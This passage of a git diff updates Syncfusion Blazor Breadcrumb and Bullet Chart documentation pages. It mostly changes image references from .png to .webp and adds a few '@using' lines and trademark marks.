     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhKsrifpggirdDv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-absolute-url.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhKsrifpggirdDv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-absolute-url.webp)" %}
 
 ## Enable navigation for last Breadcrumb item
 
@@ -67,4 +67,4 @@ Breadcrumb enables the navigation for the last item by setting the [EnableActive
     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrKWhMpfqgKOtmL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-enable-navigation.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrKWhMpfqgKOtmL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-enable-navigation.webp)" %}
\ No newline at end of file
diff --git a/blazor/breadcrumb/overflow.md b/blazor/breadcrumb/overflow.md
index 255a287b1d..3197cee680 100644
--- a/blazor/breadcrumb/overflow.md
+++ b/blazor/breadcrumb/overflow.md
@@ -44,7 +44,7 @@ Collapsed mode shows the first and last Breadcrumb items and hides the remaining
     </BreadcrumbTemplates>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVgiLsTTKpNEpBo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-collapsed.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVgiLsTTKpNEpBo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-collapsed.webp)" %}
 
 ## Menu
 
@@ -68,7 +68,7 @@ Menu mode shows the number of Breadcrumb items that can be accommodated within t
     </BreadcrumbTemplates>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBqMhszzUTTXZrh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-menu.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBqMhszzUTTXZrh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-menu.webp)" %}
 
 ## Wrap
 
@@ -92,7 +92,7 @@ Wrap mode wraps the items to multiple lines when the Breadcrumb’s width exceed
     </BreadcrumbTemplates>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVAsLCzJKeBQENj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-wrap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVAsLCzJKeBQENj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-wrap.webp)" %}
 
 ## Scroll
 
@@ -118,7 +118,7 @@ Scroll mode shows an HTML scroll bar when the Breadcrumb’s width exceeds the c
     </BreadcrumbTemplates>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrqihCTJgoRdALp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-scroll.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrqihCTJgoRdALp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-scroll.webp)" %}
 
 ## Hidden
 
@@ -142,7 +142,7 @@ Hidden mode shows the maximum number of items possible in the container space an
     </BreadcrumbTemplates>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVqChCzJqeEiZQD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/bread-overflow-hidden.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVqChCzJqeEiZQD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/bread-overflow-hidden.webp)" %}
 
 ## None
 
diff --git a/blazor/breadcrumb/style-and-appearance.md b/blazor/breadcrumb/style-and-appearance.md
index 11ba7d5e38..f6e404fbd4 100644
--- a/blazor/breadcrumb/style-and-appearance.md
+++ b/blazor/breadcrumb/style-and-appearance.md
@@ -53,4 +53,4 @@ Use the following CSS to customize the background and text color of Breadcrumb.
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhoZsCXAGIEezKH?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb with Style and Appearance](./images/blazor-breadcrumb-style-and-appearance.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhoZsCXAGIEezKH?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb with Style and Appearance](./images/blazor-breadcrumb-style-and-appearance.webp)" %}
\ No newline at end of file
diff --git a/blazor/breadcrumb/templates.md b/blazor/breadcrumb/templates.md
index 3497a8a7f5..b6f0bd0eb4 100644
--- a/blazor/breadcrumb/templates.md
+++ b/blazor/breadcrumb/templates.md
@@ -47,7 +47,7 @@ In the following example, shopping cart details are used as Breadcrumb items and
     </BreadcrumbTemplates>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhUsrippKxnwhYp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-item-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhUsrippKxnwhYp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-item-template.webp)" %}
 
 ## Separator template
 
@@ -77,7 +77,7 @@ In the following example, the separators are customized with icons using [Separa
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLUsrWzJARuZSHz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-separator-temp.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLUsrWzJARuZSHz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-separator-temp.webp)" %}
 
 ## Customize Specific Item Template
 
@@ -144,4 +144,4 @@ The specific breadcrumb item can be customizable by adding the custom element as
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBgCrsTpAvZIhgB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-specific-item-template.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBgCrsTpAvZIhgB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/breadcrumb-specific-item-template.webp)" %}
\ No newline at end of file
diff --git a/blazor/bullet-chart/actual-bar.md b/blazor/bullet-chart/actual-bar.md
index 14c355c3c0..bddab599c8 100644
--- a/blazor/bullet-chart/actual-bar.md
+++ b/blazor/bullet-chart/actual-bar.md
@@ -33,7 +33,7 @@ To display the primary data or the current value of the data being measured know
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVyXuBzBauPiECo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Actual Bar in Blazor Bullet Chart](images/blazor-bullet-chart-actual-bar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVyXuBzBauPiECo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Actual Bar in Blazor Bullet Chart](images/blazor-bullet-chart-actual-bar.webp)" %}
 
 ## Types of actual bar
 
@@ -53,7 +53,7 @@ The shape of the actual bar can be customized using the [Type](https://help.sync
 
 N> Refer to the [code block](#actual-bar-in-blazor-bullet-chart-component) to know more about the property value of the **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVSZuLfKNDhZQsy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Dot Actual Bar](images/blazor-bullet-chart-dot-actual-bar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVSZuLfKNDhZQsy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Dot Actual Bar](images/blazor-bullet-chart-dot-actual-bar.webp)" %}
 
 ## Actual bar customization
 
@@ -78,4 +78,4 @@ The following properties will be used to customize the actual bar.
 
 N> Refer to the [code block](#actual-bar-in-blazor-bullet-chart-component) to know more about the property value of the **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVIDEVTKZNwIDPb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Actual Bar in Blazor Bullet Chart](images/blazor-bullet-chart-actual-bar-customization.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVIDEVTKZNwIDPb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Actual Bar in Blazor Bullet Chart](images/blazor-bullet-chart-actual-bar-customization.webp)" %}
\ No newline at end of file
diff --git a/blazor/bullet-chart/axis-customization.md b/blazor/bullet-chart/axis-customization.md
index 3ed4dad11d..17d197d720 100644
--- a/blazor/bullet-chart/axis-customization.md
+++ b/blazor/bullet-chart/axis-customization.md
@@ -43,7 +43,7 @@ The following properties can be used to customize [MajorTicklines](https://help.
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthAshrMpzsZIqTR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Major and Minor TickLines in Blazor Bullet Chart](images/blazor-bullet-chart-tick-line-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BthAshrMpzsZIqTR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Major and Minor TickLines in Blazor Bullet Chart](images/blazor-bullet-chart-tick-line-customization.webp)" %}
 
 ## Tick placement
 
@@ -63,7 +63,7 @@ The major and the minor ticks can be placed [Inside](https://help.syncfusion.com
 
 N> Refer to the [code block](#majorticklines-and-minorticklines-customization) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVgiLVCTTsfCtyC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Tick Position in Blazor Bullet Chart](images/blazor-bullet-chart-tick-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVgiLVCTTsfCtyC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Tick Position in Blazor Bullet Chart](images/blazor-bullet-chart-tick-position.webp)" %}
 
 ## Label format
 
@@ -83,7 +83,7 @@ The axis labels support all the globalize formats and can be changed using the [
 
 N> Refer to the [code block](#majorticklines-and-minorticklines-customization) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhgMBVMpfCnRdov?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Label Format in Blazor Bullet Chart](images/blazor-bullet-chart-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhgMBVMpfCnRdov?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Label Format in Blazor Bullet Chart](images/blazor-bullet-chart-label-format.webp)" %}
 
 The following table describes the result of applying some commonly used formats to numeric axis values.
 
@@ -173,7 +173,7 @@ To separate the groups of thousands, set the [EnableGroupSeparator](https://help
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthqsBLMzfBQwPJD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Bullet Chart](images/blazor-bullet-chart-grouping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthqsBLMzfBQwPJD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Bullet Chart](images/blazor-bullet-chart-grouping.webp)" %}
 
 ## Custom label format
 
@@ -193,7 +193,7 @@ Using the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 N> Refer to the [code block](#grouping-separator) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrUshVCfpgssdbx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Custom Label Format](images/blazor-bullet-chart-custom-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrUshVCfpgssdbx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Custom Label Format](images/blazor-bullet-chart-custom-label-format.webp)" %}
 
 ## Label placement
 
@@ -213,7 +213,7 @@ Label can be placed [Inside](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 
 N> Refer to the [code block](#grouping-separator) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrUMrBWJfgftZky?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Label Position in Blazor Bullet Chart](images/blazor-bullet-chart-labels-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrUMrBWJfgftZky?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Label Position in Blazor Bullet Chart](images/blazor-bullet-chart-labels-position.webp)" %}
 
 ## Opposed position
 
@@ -233,7 +233,7 @@ To place an axis opposite to its original position, set the [OpposedPosition](ht
 
 N> Refer to the [code block](#grouping-separator) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBqMBVWzJqnbrpi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Opposed Position](images/blazor-bullet-chart-opposed-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBqMBVWzJqnbrpi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Opposed Position](images/blazor-bullet-chart-opposed-position.webp)" %}
 
 ## Category label
 
@@ -264,7 +264,7 @@ The [Bullet Chart](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Chart
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhgsrViJpTWnjZN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Category Label](images/blazor-bullet-chart-category-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhgsrViJpTWnjZN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Category Label](images/blazor-bullet-chart-category-label.webp)" %}
 
 ## Axis label and category label customization
 
@@ -286,4 +286,4 @@ The label color, opacity, font size, font family, font weight, and font style ca
 
 N> Refer to the [code block](#category-label) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrgWrLCzTJTgHRy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Axis and Category Label in Blazor Bullet Chart](images/blazor-bullet-chart-label-customization.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrgWrLCzTJTgHRy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Axis and Category Label in Blazor Bullet Chart](images/blazor-bullet-chart-label-customization.webp)" %}
\ No newline at end of file
diff --git a/blazor/bullet-chart/bullet-chart-dimensions.md b/blazor/bullet-chart/bullet-chart-dimensions.md
index cd7ec91fcb..23cafab094 100644
--- a/blazor/bullet-chart/bullet-chart-dimensions.md
+++ b/blazor/bullet-chart/bullet-chart-dimensions.md
@@ -90,4 +90,4 @@ The [BulletChartMargin](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 N> Refer to the [code block](#size-for-container) to know about the property value of **BulletChartData**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBACrrWzKabABVG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Margin](images/blazor-bullet-chart-margin.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBACrrWzKabABVG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Margin](images/blazor-bullet-chart-margin.webp)" %}
\ No newline at end of file
diff --git a/blazor/bullet-chart/customization.md b/blazor/bullet-chart/customization.md
index 21d373e2f0..0fc3225764 100644
--- a/blazor/bullet-chart/customization.md
+++ b/blazor/bullet-chart/customization.md
@@ -37,7 +37,7 @@ The [Blazor Bullet Chart](https://www.syncfusion.com/blazor-components/blazor-bu
 }
 ```
 
-![Blazor Bullet Chart with Orientation](images/blazor-bullet-chart-orientation.png)
+![Blazor Bullet Chart with Orientation](images/blazor-bullet-chart-orientation.webp)
 
 ## Right-to-left (RTL)
 
@@ -55,7 +55,7 @@ The Bullet Chart supports the right-to-left rendering that can be enabled by set
 
 N> Refer to the [code block](#orientation) to know about the property value of **BulletChartData**.
 
-![Right to Left Flow Direction in Blazor Bullet Chart](images/blazor-bullet-chart-right-to-left-direction.png)
+![Right to Left Flow Direction in Blazor Bullet Chart](images/blazor-bullet-chart-right-to-left-direction.webp)
 
 ## Animation
 
@@ -95,7 +95,7 @@ The Bullet Chart supports different type of themes via the [Theme](https://help.
 
 N> Refer to the [code block](#orientation) to know about the property value of **BulletChartData**.
 
-![Applying Theme to Blazor Bullet Chart](images/blazor-bullet-chart-theme.png)
+![Applying Theme to Blazor Bullet Chart](images/blazor-bullet-chart-theme.webp)
 
 ## Border
 
@@ -116,4 +116,4 @@ The Bullet Chart border color can be enabled by setting the [Color](https://help
 
 N> Refer to the [code block](#orientation) to know about the property value of **BulletChartData**.
 
-![Blazor Bullet Chart with Border](images/blazor-bullet-chart-with-border.png)
\ No newline at end of file
+![Blazor Bullet Chart with Border](images/blazor-bullet-chart-with-border.webp)
\ No newline at end of file
diff --git a/blazor/bullet-chart/data-binding.md b/blazor/bullet-chart/data-binding.md
index 31a6acfbbb..e8d610dee4 100644
--- a/blazor/bullet-chart/data-binding.md
+++ b/blazor/bullet-chart/data-binding.md
@@ -41,4 +41,4 @@ The [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtVKshVizpSfJRvO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Binding in Blazor Bullet Chart](images/blazor-bullet-chart-data-binding.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtVKshVizpSfJRvO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Binding in Blazor Bullet Chart](images/blazor-bullet-chart-data-binding.webp)" %}
\ No newline at end of file
diff --git a/blazor/bullet-chart/data-label.md b/blazor/bullet-chart/data-label.md
index 114587ef08..404cecb88c 100644
--- a/blazor/bullet-chart/data-label.md
+++ b/blazor/bullet-chart/data-label.md
@@ -65,4 +65,4 @@ Data Labels color, opacity, font size, font family, font weight, and font style
 
 N> Refer to the [code block](#data-labels-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Blazor Bullet Chart with Data Labels](images/blazor-bullet-chart-data-label.png)
\ No newline at end of file
+![Blazor Bullet Chart with Data Labels](images/blazor-bullet-chart-data-label.webp)
\ No newline at end of file
diff --git a/blazor/bullet-chart/getting-started-with-server-app.md b/blazor/bullet-chart/getting-started-with-server-app.md
index 45209ab5ca..0f77939ebf 100644
--- a/blazor/bullet-chart/getting-started-with-server-app.md
+++ b/blazor/bullet-chart/getting-started-with-server-app.md
@@ -140,7 +140,7 @@ The script can be accessed from NuGet through [Static Web Assets](https://blazor
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Bullet Chart component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Bullet Chart component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Bullet Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
 
@@ -158,6 +158,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfBulletChart DataSource="@BulletChartData" ValueField="FieldValue" TargetField="TargetValue" Minimum="0" Maximum="300" Interval="50">
 </SfBulletChart>
 
@@ -178,7 +180,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Bullet Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJZMByKuOOgQjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart Component](images/blazor-bullet-chart-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJZMByKuOOgQjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart Component](images/blazor-bullet-chart-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/BulletChart).
 
@@ -195,7 +197,7 @@ Add a title by using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusio
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhpXWByfNMLYFQO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Title](images/blazor-bullet-chart-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhpXWByfNMLYFQO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Title](images/blazor-bullet-chart-title.webp)" %}
 
 ## Adding ranges
 
@@ -216,7 +218,7 @@ Add ranges by using the [BulletChartRangeCollection](https://help.syncfusion.com
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrJXMhezDHBfdQU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Range in Blazor Bullet Chart](images/blazor-bullet-chart-ranges.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrJXMhezDHBfdQU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Range in Blazor Bullet Chart](images/blazor-bullet-chart-ranges.webp)" %}
 
 ## Adding tooltip
 
@@ -237,7 +239,7 @@ Use the tooltip to show the measured values by setting the [Enable](https://help
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBzDWVITXPjsQbH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart displays ToolTip](images/blazor-bullet-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBzDWVITXPjsQbH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart displays ToolTip](images/blazor-bullet-chart-tooltip.webp)" %}
 
 N> You can also explore our [Blazor Bullet Chart example](https://blazor.syncfusion.com/demos/bullet-chart/default-functionalities?theme=bootstrap5) that shows you how to render and configure the bullet chart.
 
diff --git a/blazor/bullet-chart/getting-started-with-web-app.md b/blazor/bullet-chart/getting-started-with-web-app.md
index 45d6d610a0..7b01c56b91 100644
--- a/blazor/bullet-chart/getting-started-with-web-app.md
+++ b/blazor/bullet-chart/getting-started-with-web-app.md
@@ -166,6 +166,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfBulletChart DataSource="@BulletChartData" ValueField="FieldValue" TargetField="TargetValue" Minimum="0" Maximum="300" Interval="50">
 </SfBulletChart>
 
@@ -186,7 +188,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Bullet Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJZMByKuOOgQjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart Component](images/blazor-bullet-chart-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJZMByKuOOgQjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart Component](images/blazor-bullet-chart-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/BulletChart).
 
@@ -203,7 +205,7 @@ Add a title by using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusio
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhpXWByfNMLYFQO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Title](images/blazor-bullet-chart-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhpXWByfNMLYFQO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Title](images/blazor-bullet-chart-title.webp)" %}
 
 ## Adding ranges
 
@@ -224,7 +226,7 @@ Add ranges by using the [BulletChartRangeCollection](https://help.syncfusion.com
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrJXMhezDHBfdQU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Range in Blazor Bullet Chart](images/blazor-bullet-chart-ranges.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrJXMhezDHBfdQU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Range in Blazor Bullet Chart](images/blazor-bullet-chart-ranges.webp)" %}
 
 ## Adding tooltip
 
@@ -245,7 +247,7 @@ Use the tooltip to show the measured values by setting the [Enable](https://help
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBzDWVITXPjsQbH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart displays ToolTip](images/blazor-bullet-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBzDWVITXPjsQbH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart displays ToolTip](images/blazor-bullet-chart-tooltip.webp)" %}
 
 N> You can also explore our [Blazor Bullet Chart example](https://blazor.syncfusion.com/demos/bullet-chart/default-functionalities?theme=bootstrap5) that shows you how to render and configure the bullet chart.
 
diff --git a/blazor/bullet-chart/getting-started.md b/blazor/bullet-chart/getting-started.md
index 99cec33ee5..7006945567 100644
--- a/blazor/bullet-chart/getting-started.md
+++ b/blazor/bullet-chart/getting-started.md
@@ -167,7 +167,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Bullet Chart com
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Bullet Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJZMByKuOOgQjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart Component](images/blazor-bullet-chart-component.png)" %}
